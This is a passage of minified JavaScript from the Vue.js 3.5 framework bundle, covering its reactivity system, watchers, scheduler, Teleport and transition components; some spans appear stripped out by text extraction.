t=e.deps;t;t=t.nextDep)t.version=-1,t.prevActiveLink=t.dep.activeLink,t.dep.activeLink=t}function Fm(e){let t,s=e.depsTail,a=s;for(;a;){const n=a.prevDep;a.version===-1?(a===s&&(s=n),Qd(a),$y(a)):t=a,a.dep.activeLink=a.prevActiveLink,a.prevActiveLink=void 0,a=n}e.deps=t,e.depsTail=s}function id(e){for(let t=e.deps;t;t=t.nextDep)if(t.dep.version!==t.version||t.dep.computed&&(Bm(t.dep.computed)||t.dep.version!==t.version))return!0;return!!e._dirty}function Bm(e){if(e.flags&4&&!(e.flags&16)||(e.flags&=-17,e.globalVersion===Hl)||(e.globalVersion=Hl,!e.isSSR&&e.flags&128&&(!e.deps&&!e._dirty||!id(e))))return;e.flags|=2;const t=e.dep,s=At,a=ma;At=e,ma=!0;try{$m(e);const n=e.fn(e._value);(t.version===0||os(n,e._value))&&(e.flags|=128,e._value=n,t.version++)}catch(n){throw t.version++,n}finally{At=s,ma=a,Fm(e),e.flags&=-3}}function Qd(e,t=!1){const{dep:s,prevSub:a,nextSub:n}=e;if(a&&(a.nextSub=n,e.prevSub=void 0),n&&(n.prevSub=a,e.nextSub=void 0),s.subs===e&&(s.subs=a,!a&&s.computed)){s.computed.flags&=-5;for(let i=s.computed.deps;i;i=i.nextDep)Qd(i,!0)}!t&&!--s.sc&&s.map&&s.map.delete(s.key)}function $y(e){const{prevDep:t,nextDep:s}=e;t&&(t.nextDep=s,e.prevDep=void 0),s&&(s.prevDep=t,e.nextDep=void 0)}function Fy(e,t){e.effect instanceof zl&&(e=e.effect.fn);const s=new zl(e);t&<(s,t);try{s.run()}catch(n){throw s.stop(),n}const a=s.run.bind(s);return a.effect=s,a}function By(e){e.effect.stop()}let ma=!0;const Um=[];function ln(){Um.push(ma),ma=!1}function on(){const e=Um.pop();ma=e===void 0?!0:e}function gp(e){const{cleanup:t}=e;if(e.cleanup=void 0,t){const s=At;At=void 0;try{t()}finally{At=s}}}let Hl=0;class Uy{constructor(t,s){this.sub=t,this.dep=s,this.version=s.version,this.nextDep=this.prevDep=this.nextSub=this.prevSub=this.prevActiveLink=void 0}}class Gr{constructor(t){this.computed=t,this.version=0,this.activeLink=void 0,this.subs=void 0,this.map=void 0,this.key=void 0,this.sc=0,this.__v_skip=!0}track(t){if(!At||!ma||At===this.computed)return;let s=this.activeLink;if(s===void 0||s.sub!==At)s=this.activeLink=new Uy(At,this),At.deps?(s.prevDep=At.depsTail,At.depsTail.nextDep=s,At.depsTail=s):At.deps=At.depsTail=s,zm(s);else if(s.version===-1&&(s.version=this.version,s.nextDep)){const a=s.nextDep;a.prevDep=s.prevDep,s.prevDep&&(s.prevDep.nextDep=a),s.prevDep=At.depsTail,s.nextDep=void 0,At.depsTail.nextDep=s,At.depsTail=s,At.deps===s&&(At.deps=a)}return s}trigger(t){this.version++,Hl++,this.notify(t)}notify(t){Jd();try{for(let s=this.subs;s;s=s.prevSub)s.sub.notify()&&s.sub.dep.notify()}finally{Zd()}}}function zm(e){if(e.dep.sc++,e.sub.flags&4){const t=e.dep.computed;if(t&&!e.dep.subs){t.flags|=20;for(let a=t.deps;a;a=a.nextDep)zm(a)}const s=e.dep.subs;s!==e&&(e.prevSub=s,s&&(s.nextSub=e)),e.dep.subs=e}}const cr=new WeakMap,Qn=Symbol(""),ld=Symbol(""),jl=Symbol("");function ws(e,t,s){if(ma&&At){let a=cr.get(e);a||cr.set(e,a=new Map);let n=a.get(s);n||(a.set(s,n=new Gr),n.map=a,n.key=s),n.track()}}function Ja(e,t,s,a,n,i){const l=cr.get(e);if(!l){Hl++;return}const o=r=>{r&&r.trigger()};if(Jd(),t==="clear")l.forEach(o);else{const r=Me(e),c=r&&zr(s);if(r&&s==="length"){const d=Number(a);l.forEach((u,p)=>{(p==="length"||p===jl||!Cs(p)&&p>=d)&&o(u)})}else switch((s!==void 0||l.has(void 0))&&o(l.get(s)),c&&o(l.get(jl)),t){case"add":r?c&&o(l.get("length")):(o(l.get(Qn)),Ni(e)&&o(l.get(ld)));break;case"delete":r||(o(l.get(Qn)),Ni(e)&&o(l.get(ld)));break;case"set":Ni(e)&&o(l.get(Qn));break}}Zd()}function zy(e,t){const s=cr.get(e);return s&&s.get(t)}function yi(e){const t=ft(e);return t===e?t:(ws(t,"iterate",jl),qs(e)?t:t.map(ha))}function Wr(e){return ws(e=ft(e),"iterate",jl),e}function Oa(e,t){return Na(e)?Hi(tn(e)?ha(t):t):ha(t)}const Hy={__proto__:null,[Symbol.iterator](){return Lc(this,Symbol.iterator,e=>Oa(this,e))},concat(...e){return yi(this).concat(...e.map(t=>Me(t)?yi(t):t))},entries(){return Lc(this,"entries",e=>(e[1]=Oa(this,e[1]),e))},every(e,t){return za(this,"every",e,t,void 0,arguments)},filter(e,t){return za(this,"filter",e,t,s=>s.map(a=>Oa(this,a)),arguments)},find(e,t){return za(this,"find",e,t,s=>Oa(this,s),arguments)},findIndex(e,t){return za(this,"findIndex",e,t,void 0,arguments)},findLast(e,t){return za(this,"findLast",e,t,s=>Oa(this,s),arguments)},findLastIndex(e,t){return za(this,"findLastIndex",e,t,void 0,arguments)},forEach(e,t){return za(this,"forEach",e,t,void 0,arguments)},includes(...e){return Nc(this,"includes",e)},indexOf(...e){return Nc(this,"indexOf",e)},join(e){return yi(this).join(e)},lastIndexOf(...e){return Nc(this,"lastIndexOf",e)},map(e,t){return za(this,"map",e,t,void 0,arguments)},pop(){return ul(this,"pop")},push(...e){return ul(this,"push",e)},reduce(e,...t){return bp(this,"reduce",e,t)},reduceRight(e,...t){return bp(this,"reduceRight",e,t)},shift(){return ul(this,"shift")},some(e,t){return za(this,"some",e,t,void 0,arguments)},splice(...e){return ul(this,"splice",e)},toReversed(){return yi(this).toReversed()},toSorted(e){return yi(this).toSorted(e)},toSpliced(...e){return yi(this).toSpliced(...e)},unshift(...e){return ul(this,"unshift",e)},values(){return Lc(this,"values",e=>Oa(this,e))}};function Lc(e,t,s){const a=Wr(e),n=a[t]();return a!==e&&!qs(e)&&(n._next=n.next,n.next=()=>{const i=n._next();return i.done||(i.value=s(i.value)),i}),n}const jy=Array.prototype;function za(e,t,s,a,n,i){const l=Wr(e),o=l!==e&&!qs(e),r=l[t];if(r!==jy[t]){const u=r.apply(e,i);return o?ha(u):u}let c=s;l!==e&&(o?c=function(u,p){return s.call(this,Oa(e,u),p,e)}:s.length>2&&(c=function(u,p){return s.call(this,u,p,e)}));const d=r.call(l,c,a);return o&&n?n(d):d}function bp(e,t,s,a){const n=Wr(e),i=n!==e&&!qs(e);let l=s,o=!1;n!==e&&(i?(o=a.length===0,l=function(c,d,u){return o&&(o=!1,c=Oa(e,c)),s.call(this,c,Oa(e,d),u,e)}):s.length>3&&(l=function(c,d,u){return s.call(this,c,d,u,e)}));const r=n[t](l,...a);return o?Oa(e,r):r}function Nc(e,t,s){const a=ft(e);ws(a,"iterate",jl);const n=a[t](...s);return(n===-1||n===!1)&&uo(s[0])?(s[0]=ft(s[0]),a[t](...s)):n}function ul(e,t,s=[]){ln(),Jd();const a=ft(e)[t].apply(e,s);return Zd(),on(),a}const qy=Xs("__proto__,__v_isRef,__isVue"),Hm=new Set(Object.getOwnPropertyNames(Symbol).filter(e=>e!=="arguments"&&e!=="caller").map(e=>Symbol[e]).filter(Cs));function Vy(e){Cs(e)||(e=String(e));const t=ft(this);return ws(t,"has",e),t.hasOwnProperty(e)}class jm{constructor(t=!1,s=!1){this._isReadonly=t,this._isShallow=s}get(t,s,a){if(s==="__v_skip")return t.__v_skip;const n=this._isReadonly,i=this._isShallow;if(s==="__v_isReactive")return!n;if(s==="__v_isReadonly")return n;if(s==="__v_isShallow")return i;if(s==="__v_raw")return a===(n?i?Jm:Km:i?Wm:Gm).get(t)||Object.getPrototypeOf(t)===Object.getPrototypeOf(a)?t:void 0;const l=Me(t);if(!n){let r;if(l&&(r=Hy[s]))return r;if(s==="hasOwnProperty")return Vy}const o=Reflect.get(t,s,Xt(t)?t:a);if((Cs(s)?Hm.has(s):qy(s))||(n||ws(t,"get",s),i))return o;if(Xt(o)){const r=l&&zr(s)?o:o.value;return n&&ht(r)?dr(r):r}return ht(o)?n?dr(o):Mn(o):o}}class qm extends jm{constructor(t=!1){super(!1,t)}set(t,s,a,n){let i=t[s];const l=Me(t)&&zr(s);if(!this._isShallow){const c=Na(i);if(!qs(a)&&!Na(a)&&(i=ft(i),a=ft(a)),!l&&Xt(i)&&!Xt(a))return c||(i.value=a),!0}const o=l?Number(s)e,Ao=e=>Reflect.getPrototypeOf(e);function Zy(e,t,s){return function(...a){const n=this.__v_raw,i=ft(n),l=Ni(i),o=e==="entries"||e===Symbol.iterator&&l,r=e==="keys"&&l,c=n[e](...a),d=s?od:t?Hi:ha;return!t&&ws(i,"iterate",r?ld:Qn),lt(Object.create(c),{next(){const{value:u,done:p}=c.next();return p?{value:u,done:p}:{value:o?[d(u[0]),d(u[1])]:d(u),done:p}}})}}function Ro(e){return function(...t){return e==="delete"?!1:e==="clear"?void 0:this}}function Qy(e,t){const s={get(n){const i=this.__v_raw,l=ft(i),o=ft(n);e||(os(n,o)&&ws(l,"get",n),ws(l,"get",o));const{has:r}=Ao(l),c=t?od:e?Hi:ha;if(r.call(l,n))return c(i.get(n));if(r.call(l,o))return c(i.get(o));i!==l&&i.get(n)},get size(){const n=this.__v_raw;return!e&&ws(ft(n),"iterate",Qn),n.size},has(n){const i=this.__v_raw,l=ft(i),o=ft(n);return e||(os(n,o)&&ws(l,"has",n),ws(l,"has",o)),n===o?i.has(n):i.has(n)||i.has(o)},forEach(n,i){const l=this,o=l.__v_raw,r=ft(o),c=t?od:e?Hi:ha;return!e&&ws(r,"iterate",Qn),o.forEach((d,u)=>n.call(i,c(d),c(u),l))}};return lt(s,e?{add:Ro("add"),set:Ro("set"),delete:Ro("delete"),clear:Ro("clear")}:{add(n){const i=ft(this),l=Ao(i),o=ft(n),r=!t&&!qs(n)&&!Na(n)?o:n;return l.has.call(i,r)||os(n,r)&&l.has.call(i,n)||os(o,r)&&l.has.call(i,o)||(i.add(r),Ja(i,"add",r,r)),this},set(n,i){!t&&!qs(i)&&!Na(i)&&(i=ft(i));const l=ft(this),{has:o,get:r}=Ao(l);let c=o.call(l,n);c||(n=ft(n),c=o.call(l,n));const d=r.call(l,n);return l.set(n,i),c?os(i,d)&&Ja(l,"set",n,i):Ja(l,"add",n,i),this},delete(n){const i=ft(this),{has:l,get:o}=Ao(i);let r=l.call(i,n);r||(n=ft(n),r=l.call(i,n)),o&&o.call(i,n);const c=i.delete(n);return r&&Ja(i,"delete",n,void 0),c},clear(){const n=ft(this),i=n.size!==0,l=n.clear();return i&&Ja(n,"clear",void 0,void 0),l}}),["keys","values","entries",Symbol.iterator].forEach(n=>{s[n]=Zy(n,e,t)}),s}function Kr(e,t){const s=Qy(e,t);return(a,n,i)=>n==="__v_isReactive"?!e:n==="__v_isReadonly"?e:n==="__v_raw"?a:Reflect.get(bt(s,n)&&n in a?s:a,n,i)}const Yy={get:Kr(!1,!1)},Xy={get:Kr(!1,!0)},ex={get:Kr(!0,!1)},tx={get:Kr(!0,!0)},Gm=new WeakMap,Wm=new WeakMap,Km=new WeakMap,Jm=new WeakMap;function sx(e){switch(e){case"Object":case"Array":return 1;case"Map":case"Set":case"WeakMap":case"WeakSet":return 2;default:return 0}}function Mn(e){return Na(e)?e:Jr(e,!1,Gy,Yy,Gm)}function Yd(e){return Jr(e,!1,Ky,Xy,Wm)}function dr(e){return Jr(e,!0,Wy,ex,Km)}function ax(e){return Jr(e,!0,Jy,tx,Jm)}function Jr(e,t,s,a,n){if(!ht(e)||e.__v_raw&&!(t&&e.__v_isReactive)||e.__v_skip||!Object.isExtensible(e))return e;const i=n.get(e);if(i)return i;const l=sx(py(e));if(l===0)return e;const o=new Proxy(e,l===2?a:s);return n.set(e,o),o}function tn(e){return Na(e)?tn(e.__v_raw):!!(e&&e.__v_isReactive)}function Na(e){return!!(e&&e.__v_isReadonly)}function qs(e){return!!(e&&e.__v_isShallow)}function uo(e){return e?!!e.__v_raw:!1}function ft(e){const t=e&&e.__v_raw;return t?ft(t):e}function Zm(e){return!bt(e,"__v_skip")&&Object.isExtensible(e)&&Am(e,"__v_skip",!0),e}const ha=e=>ht(e)?Mn(e):e,Hi=e=>ht(e)?dr(e):e;function Xt(e){return e?e.__v_isRef===!0:!1}function f(e){return Qm(e,!1)}function Xd(e){return Qm(e,!0)}function Qm(e,t){return Xt(e)?e:new nx(e,t)}class nx{constructor(t,s){this.dep=new Gr,this.__v_isRef=!0,this.__v_isShallow=!1,this._rawValue=s?t:ft(t),this._value=s?t:ha(t),this.__v_isShallow=s}get value(){return this.dep.track(),this._value}set value(t){const s=this._rawValue,a=this.__v_isShallow||qs(t)||Na(t);t=a?t:ft(t),os(t,s)&&(this._rawValue=t,this._value=a?t:ha(t),this.dep.trigger())}}function ix(e){e.dep&&e.dep.trigger()}function La(e){return Xt(e)?e.value:e}function lx(e){return Ve(e)?e():La(e)}const ox={get:(e,t,s)=>t==="__v_raw"?e:La(Reflect.get(e,t,s)),set:(e,t,s,a)=>{const n=e[t];return Xt(n)&&!Xt(s)?(n.value=s,!0):Reflect.set(e,t,s,a)}};function eu(e){return tn(e)?e:new Proxy(e,ox)}class rx{constructor(t){this.__v_isRef=!0,this._value=void 0;const s=this.dep=new Gr,{get:a,set:n}=t(s.track.bind(s),s.trigger.bind(s));this._get=a,this._set=n}get value(){return this._value=this._get()}set value(t){this._set(t)}}function Ym(e){return new rx(e)}function cx(e){const t=Me(e)?new Array(e.length):{};for(const s in e)t[s]=Xm(e,s);return t}class dx{constructor(t,s,a){this._object=t,this._defaultValue=a,this.__v_isRef=!0,this._value=void 0,this._key=Cs(s)?s:String(s),this._raw=ft(t);let n=!0,i=t;if(!Me(t)||Cs(this._key)||!zr(this._key))do n=!uo(i)||qs(i);while(n&&(i=i.__v_raw));this._shallow=n}get value(){let t=this._object[this._key];return this._shallow&&(t=La(t)),this._value=t===void 0?this._defaultValue:t}set value(t){if(this._shallow&&Xt(this._raw[this._key])){const s=this._object[this._key];if(Xt(s)){s.value=t;return}}this._object[this._key]=t}get dep(){return zy(this._raw,this._key)}}class ux{constructor(t){this._getter=t,this.__v_isRef=!0,this.__v_isReadonly=!0,this._value=void 0}get value(){return this._value=this._getter()}}function px(e,t,s){return Xt(e)?e:Ve(e)?new ux(e):ht(e)&&arguments.length>1?Xm(e,t,s):f(e)}function Xm(e,t,s){return new dx(e,t,s)}class fx{constructor(t,s,a){this.fn=t,this.setter=s,this._value=void 0,this.dep=new Gr(this),this.__v_isRef=!0,this.deps=void 0,this.depsTail=void 0,this.flags=16,this.globalVersion=Hl-1,this.next=void 0,this.effect=this,this.__v_isReadonly=!s,this.isSSR=a}notify(){if(this.flags|=16,!(this.flags&8)&&At!==this)return Pm(this,!0),!0}get value(){const t=this.dep.track();return Bm(this),t&&(t.version=this.dep.version),this._value}set value(t){this.setter&&this.setter(t)}}function mx(e,t,s=!1){let a,n;return Ve(e)?a=e:(a=e.get,n=e.set),new fx(a,n,s)}const vx={GET:"get",HAS:"has",ITERATE:"iterate"},hx={SET:"set",ADD:"add",DELETE:"delete",CLEAR:"clear"},Io={},ur=new WeakMap;let Tn;function gx(){return Tn}function ev(e,t=!1,s=Tn){if(s){let a=ur.get(s);a||ur.set(s,a=[]),a.push(e)}}function bx(e,t,s=ct){const{immediate:a,deep:n,once:i,scheduler:l,augmentJob:o,call:r}=s,c=x=>n?x:qs(x)||n===!1||n===0?Za(x,1):Za(x);let d,u,p,m,h=!1,y=!1;if(Xt(e)?(u=()=>e.value,h=qs(e)):tn(e)?(u=()=>c(e),h=!0):Me(e)?(y=!0,h=e.some(x=>tn(x)||qs(x)),u=()=>e.map(x=>{if(Xt(x))return x.value;if(tn(x))return c(x);if(Ve(x))return r?r(x,2):x()})):Ve(e)?t?u=r?()=>r(e,2):e:u=()=>{if(p){ln();try{p()}finally{on()}}const x=Tn;Tn=d;try{return r?r(e,3,[m]):e(m)}finally{Tn=x}}:u=vs,t&&n){const x=u,w=n===!0?1/0:n;u=()=>Za(x(),w)}const k=Mm(),A=()=>{d.stop(),k&&k.active&&Gd(k.effects,d)};if(i&&t){const x=t;t=(...w)=>{const _=x(...w);return A(),_}}let g=y?new Array(e.length).fill(Io):Io;const b=x=>{if(!(!(d.flags&1)||!d.dirty&&!x))if(t){const w=d.run();if(x||n||h||(y?w.some((_,T)=>os(_,g[T])):os(w,g))){p&&p();const _=Tn;Tn=d;try{const T=[w,g===Io?void 0:y&&g[0]===Io?[]:g,m];g=w,r?r(t,3,T):t(...T)}finally{Tn=_}}}else d.run()};return o&&o(b),d=new zl(u),d.scheduler=l?()=>l(b,!1):b,m=x=>ev(x,!1,d),p=d.onStop=()=>{const x=ur.get(d);if(x){if(r)r(x,4);else for(const w of x)w();ur.delete(d)}},t?a?b(!0):g=d.run():l?l(b.bind(null,!0),!0):d.run(),A.pause=d.pause.bind(d),A.resume=d.resume.bind(d),A.stop=A,A}function Za(e,t=1/0,s){if(t<=0||!ht(e)||e.__v_skip||(s=s||new Map,(s.get(e)||0)>=t))return e;if(s.set(e,t),t--,Xt(e))Za(e.value,t,s);else if(Me(e))for(let a=0;a{Za(a,t,s)});else if(Ur(e)){for(const a in e)Za(e[a],t,s);for(const a of Object.getOwnPropertySymbols(e))Object.prototype.propertyIsEnumerable.call(e,a)&&Za(e[a],t,s)}return e}/** -* @vue/runtime-core v3.5.38 -* (c) 2018-present Yuxi (Evan) You and Vue contributors -* @license MIT -**/const tv=[];function yx(e){tv.push(e)}function xx(){tv.pop()}function _x(e,t){}const wx={SETUP_FUNCTION:0,0:"SETUP_FUNCTION",RENDER_FUNCTION:1,1:"RENDER_FUNCTION",NATIVE_EVENT_HANDLER:5,5:"NATIVE_EVENT_HANDLER",COMPONENT_EVENT_HANDLER:6,6:"COMPONENT_EVENT_HANDLER",VNODE_HOOK:7,7:"VNODE_HOOK",DIRECTIVE_HOOK:8,8:"DIRECTIVE_HOOK",TRANSITION_HOOK:9,9:"TRANSITION_HOOK",APP_ERROR_HANDLER:10,10:"APP_ERROR_HANDLER",APP_WARN_HANDLER:11,11:"APP_WARN_HANDLER",FUNCTION_REF:12,12:"FUNCTION_REF",ASYNC_COMPONENT_LOADER:13,13:"ASYNC_COMPONENT_LOADER",SCHEDULER:14,14:"SCHEDULER",COMPONENT_UPDATE:15,15:"COMPONENT_UPDATE",APP_UNMOUNT_CLEANUP:16,16:"APP_UNMOUNT_CLEANUP"},kx={sp:"serverPrefetch hook",bc:"beforeCreate hook",c:"created hook",bm:"beforeMount hook",m:"mounted hook",bu:"beforeUpdate hook",u:"updated",bum:"beforeUnmount hook",um:"unmounted hook",a:"activated hook",da:"deactivated hook",ec:"errorCaptured hook",rtc:"renderTracked hook",rtg:"renderTriggered hook",0:"setup function",1:"render function",2:"watcher getter",3:"watcher callback",4:"watcher cleanup function",5:"native event handler",6:"component event handler",7:"vnode hook",8:"directive hook",9:"transition hook",10:"app errorHandler",11:"app warnHandler",12:"ref function",13:"async component loader",14:"scheduler flush",15:"component update",16:"app unmount cleanup function"};function tl(e,t,s,a){try{return a?e(...a):e()}catch(n){ci(n,t,s)}}function Ys(e,t,s,a){if(Ve(e)){const n=tl(e,t,s,a);return n&&Wd(n)&&n.catch(i=>{ci(i,t,s)}),n}if(Me(e)){const n=[];for(let i=0;i>>1,n=Ns[a],i=Vl(n);i=Vl(s)?Ns.push(e):Ns.splice(Cx(t),0,e),e.flags|=1,av()}}function av(){pr||(pr=sv.then(nv))}function ql(e){Me(e)?Pi.push(...e):En&&e.id===-1?En.splice(Ci+1,0,e):e.flags&1||(Pi.push(e),e.flags|=1),av()}function yp(e,t,s=Ra+1){for(;sVl(s)-Vl(a));if(Pi.length=0,En){En.push(...t);return}for(En=t,Ci=0;Cie.id==null?e.flags&2?-1:1/0:e.id;function nv(e){try{for(Ra=0;RaTi.emit(n,...i)),Oo=[]):typeof window<"u"&&window.HTMLElement&&!((a=(s=window.navigator)==null?void 0:s.userAgent)!=null&&a.includes("jsdom"))?((t.__VUE_DEVTOOLS_HOOK_REPLAY__=t.__VUE_DEVTOOLS_HOOK_REPLAY__||[]).push(i=>{iv(i,t)}),setTimeout(()=>{Ti||(t.__VUE_DEVTOOLS_HOOK_REPLAY__=null,Oo=[])},3e3)):Oo=[]}let ms=null,Zr=null;function Gl(e){const t=ms;return ms=e,Zr=e&&e.type.__scopeId||null,t}function Tx(e){Zr=e}function Ex(){Zr=null}const Ax=e=>su;function su(e,t=ms,s){if(!t||e._n)return e;const a=(...n)=>{a._d&&Zl(-1);const i=Gl(t);let l;try{l=e(...n)}finally{Gl(i),a._d&&Zl(1)}return l};return a._n=!0,a._c=!0,a._d=!0,a}function Rx(e,t){if(ms===null)return e;const s=vo(ms),a=e.dirs||(e.dirs=[]);for(let n=0;n1)return s&&Ve(t)?t.call(a&&a.proxy):t}}function Ix(){return!!(Ds()||Yn)}const lv=Symbol.for("v-scx"),ov=()=>ra(lv);function Ox(e,t){return po(e,null,t)}function Lx(e,t){return po(e,null,{flush:"post"})}function rv(e,t){return po(e,null,{flush:"sync"})}function Gt(e,t,s){return po(e,t,s)}function po(e,t,s=ct){const{immediate:a,deep:n,flush:i,once:l}=s,o=lt({},s),r=t&&a||!t&&i!=="post";let c;if(ai){if(i==="sync"){const m=ov();c=m.__watcherHandles||(m.__watcherHandles=[])}else if(!r){const m=()=>{};return m.stop=vs,m.resume=vs,m.pause=vs,m}}const d=fs;o.call=(m,h,y)=>Ys(m,d,h,y);let u=!1;i==="post"?o.scheduler=m=>{Qt(m,d&&d.suspense)}:i!=="sync"&&(u=!0,o.scheduler=(m,h)=>{h?m():tu(m)}),o.augmentJob=m=>{t&&(m.flags|=4),u&&(m.flags|=2,d&&(m.id=d.uid,m.i=d))};const p=bx(e,t,o);return ai&&(c?c.push(p):r&&p()),p}function Nx(e,t,s){const a=this.proxy,n=Ze(e)?e.includes(".")?cv(a,e):()=>a[e]:e.bind(a,a);let i;Ve(t)?i=t:(i=t.handler,s=t);const l=sl(this),o=po(n,i.bind(a),s);return l(),o}function cv(e,t){const s=t.split(".");return()=>{let a=e;for(let n=0;ne.__isTeleport,Wn=e=>e&&(e.disabled||e.disabled===""),Mx=e=>e&&(e.defer||e.defer===""),xp=e=>typeof SVGElement<"u"&&e instanceof SVGElement,_p=e=>typeof MathMLElement=="function"&&e instanceof MathMLElement,rd=(e,t)=>{const s=e&&e.to;return Ze(s)?t?t(s):null:s},Dx={name:"Teleport",__isTeleport:!0,process(e,t,s,a,n,i,l,o,r,c){const{mc:d,pc:u,pbc:p,o:{insert:m,querySelector:h,createText:y,createComment:k,parentNode:A}}=c,g=Wn(t.props);let{dynamicChildren:b}=t;const x=(T,L,E)=>{T.shapeFlag&16&&d(T.children,L,E,n,i,l,o,r)},w=(T=t)=>{const L=Wn(T.props),E=T.target=rd(T.props,h),F=cd(E,T,y,m);E&&(l!=="svg"&&xp(E)?l="svg":l!=="mathml"&&_p(E)&&(l="mathml"),n&&n.isCE&&(n.ce._teleportTargets||(n.ce._teleportTargets=new Set)).add(E),L||(x(T,E,F),Tl(T,!1)))},_=T=>{const L=()=>{if(Sn.get(T)===L){if(Sn.delete(T),Wn(T.props)){const E=A(T.el)||s;x(T,E,T.anchor),Tl(T,!0)}w(T)}};Sn.set(T,L),Qt(L,i)};if(e==null){const T=t.el=y(""),L=t.anchor=y("");if(m(T,s,a),m(L,s,a),Mx(t.props)||i&&i.pendingBranch){_(t);return}g&&(x(t,s,L),Tl(t,!0)),w()}else{t.el=e.el;const T=t.anchor=e.anchor,L=Sn.get(e);if(L){L.flags|=8,Sn.delete(e),_(t);return}t.targetStart=e.targetStart;const E=t.target=e.target,F=t.targetAnchor=e.targetAnchor,O=Wn(e.props),I=O?s:E,H=O?T:F;if(l==="svg"||xp(E)?l="svg":(l==="mathml"||_p(E))&&(l="mathml"),b?(p(e.dynamicChildren,b,I,n,i,l,o),fu(e,t,!0)):r||u(e,t,I,H,n,i,l,o,!1),g)O?t.props&&e.props&&t.props.to!==e.props.to&&(t.props.to=e.props.to):Lo(t,s,T,c,1);else if((t.props&&t.props.to)!==(e.props&&e.props.to)){const te=t.target=rd(t.props,h);te&&Lo(t,te,null,c,0)}else O&&Lo(t,E,F,c,1);Tl(t,g)}},remove(e,t,s,{um:a,o:{remove:n}},i){const{shapeFlag:l,children:o,anchor:r,targetStart:c,targetAnchor:d,target:u,props:p}=e,m=i||!Wn(p),h=Sn.get(e);if(h&&(h.flags|=8,Sn.delete(e)),u&&(n(c),n(d)),i&&n(r),!h&&l&16)for(let y=0;y{e.isMounted=!0}),ec(()=>{e.isUnmounting=!0}),e}const aa=[Function,Array],nu={mode:String,appear:Boolean,persisted:Boolean,onBeforeEnter:aa,onEnter:aa,onAfterEnter:aa,onEnterCancelled:aa,onBeforeLeave:aa,onLeave:aa,onAfterLeave:aa,onLeaveCancelled:aa,onBeforeAppear:aa,onAppear:aa,onAfterAppear:aa,onAppearCancelled:aa},pv=e=>{const t=e.subTree;return t.component?pv(t.component):t},Fx={name:"BaseTransition",props:nu,setup(e,{slots:t}){const s=Ds(),a=au();return()=>{const n=t.default&&Qr(t.default(),!0),i=n&&n.length?fv(n):s.subTree?Jv():void 0;if(!i)return;const l=ft(e),{mode:o}=l;if(a.isLeaving)return Mc(i);const r=wp(i);if(!r)return Mc(i);let c=ji(r,l,a,s,u=>c=u);r.type!==Zt&&rn(r,c);let d=s.subTree&&wp(s.subTree);if(d&&d.type!==Zt&&!fa(d,r)&&pv(s).type!==Zt){let u=ji(d,l,a,s);if(rn(d,u),o==="out-in"&&r.type!==Zt)return a.isLeaving=!0,u.afterLeave=()=>{a.isLeaving=!1,s.job.flags&8||s.update(),delete u.afterLeave,d=void 0},Mc(i);o==="in-out"&&r.type!==Zt?u.delayLeave=(p,m,h)=>{const y=vv(a,d);y[String(d.key)]=d,p[na]=()=>{m(),p[na]=void 0,delete c.delayedLeave,d=void 0},c.delayedLeave=()=>{h(),delete c.delayedLeave,d=void 0}}:d=void 0}else d&&(d=void 0);return i}}};function fv(e){let t=e[0];if(e.length>1){for(const s of e)if(s.type!==Zt){t=s;break}}return t}const mv=Fx;function vv(e,t){const{leavingVNodes:s}=e;let a=s.get(t.type);return a||(a=Object.create(null),s.set(t.type,a)),a}function ji(e,t,s,a,n){const{appear:i,mode:l,persisted:o=!1,onBeforeEnter:r,onEnter:c,onAfterEnter:d,onEnterCancelled:u,onBeforeLeave:p,onLeave:m,onAfterLeave:h,onLeaveCancelled:y,onBeforeAppear:k,onAppear:A,onAfterAppear:g,onAppearCancelled:b}=t,x=String(e.key),w=vv(s,e),_=(E,F)=>{E&&Ys(E,a,9,F)},T=(E,F)=>{const O=F[1];_(E,F),Me(E)?E.every(I=>I.length<=1)&&O():E.length<=1&&O()},L={mode:l,persisted:o,beforeEnter(E){let F=r;if(!s.isMounted)if(i)F=k||r;else return;E[na]&&E[na](!0);const O=w[x];O&&fa(e,O)&&O.el[na]&&O.el[na](),_(F,[E])},enter(E){if(w[x]===e)return;let F=c,O=d,I=u;if(!s.isMounted)if(i)F=A||c,O=g||d,I=b||u;else return;let H=!1;E[pl]=ee=>{H||(H=!0,ee?_(I,[E]):_(O,[E]),L.delayedLeave&&L.delayedLeave(),E[pl]=void 0)};const te=E[pl].bind(null,!1);F?T(F,[E,te]):te()},leave(E,F){const O=String(e.key);if(E[pl]&&E[pl](!0),s.isUnmounting)return F();_(p,[E]);let I=!1;E[na]=te=>{I||(I=!0,F(),te?_(y,[E]):_(h,[E]),E[na]=void 0,w[O]===e&&delete w[O])};const H=E[na].bind(null,!1);w[O]=e,m?T(m,[E,H]):H()},clone(E){const F=ji(E,t,s,a,n);return n&&n(F),F}};return L}function Mc(e){if(mo(e))return e=Ma(e),e.children=null,e}function wp(e){if(!mo(e))return uv(e.type)&&e.children?fv(e.children):e;if(e.component)return e.component.subTree;const{shapeFlag:t,children:s}=e;if(s){if(t&16)return s[0];if(t&32&&Ve(s.default))return s.default()}}function rn(e,t){e.shapeFlag&6&&e.component?(e.transition=t,rn(e.component.subTree,t)):e.shapeFlag&128?(e.ssContent.transition=t.clone(e.ssContent),e.ssFallback.transition=t.clone(e.ssFallback)):e.transition=t}function Qr(e,t=!1,s){let a=[],n=0;for(let i=0;i1)for(let i=0;is.value,set:i=>s.value=i})}return s}function kp(e,t){let s;return!!((s=Object.getOwnPropertyDescriptor(e,t))&&!s.configurable)}const mr=new WeakMap;function $i(e,t,s,a,n=!1){if(Me(e)){e.forEach((y,k)=>$i(y,t&&(Me(t)?t[k]:t),s,a,n));return}if(sn(a)&&!n){a.shapeFlag&512&&a.type.__asyncResolved&&a.component.subTree.component&&$i(e,t,s,a.component.subTree);return}const i=a.shapeFlag&4?vo(a.component):a.el,l=n?null:i,{i:o,r}=e,c=t&&t.r,d=o.refs===ct?o.refs={}:o.refs,u=o.setupState,p=ft(u),m=u===ct?Ri:y=>kp(d,y)?!1:bt(p,y),h=(y,k)=>!(k&&kp(d,k));if(c!=null&&c!==r){if(Sp(t),Ze(c))d[c]=null,m(c)&&(u[c]=null);else if(Xt(c)){const y=t;h(c,y.k)&&(c.value=null),y.k&&(d[y.k]=null)}}if(Ve(r))tl(r,o,12,[l,d]);else{const y=Ze(r),k=Xt(r);if(y||k){const A=()=>{if(e.f){const g=y?m(r)?u[r]:d[r]:h()||!e.k?r.value:d[e.k];if(n)Me(g)&&Gd(g,i);else if(Me(g))g.includes(i)||g.push(i);else if(y)d[r]=[i],m(r)&&(u[r]=d[r]);else{const b=[i];h(r,e.k)&&(r.value=b),e.k&&(d[e.k]=b)}}else 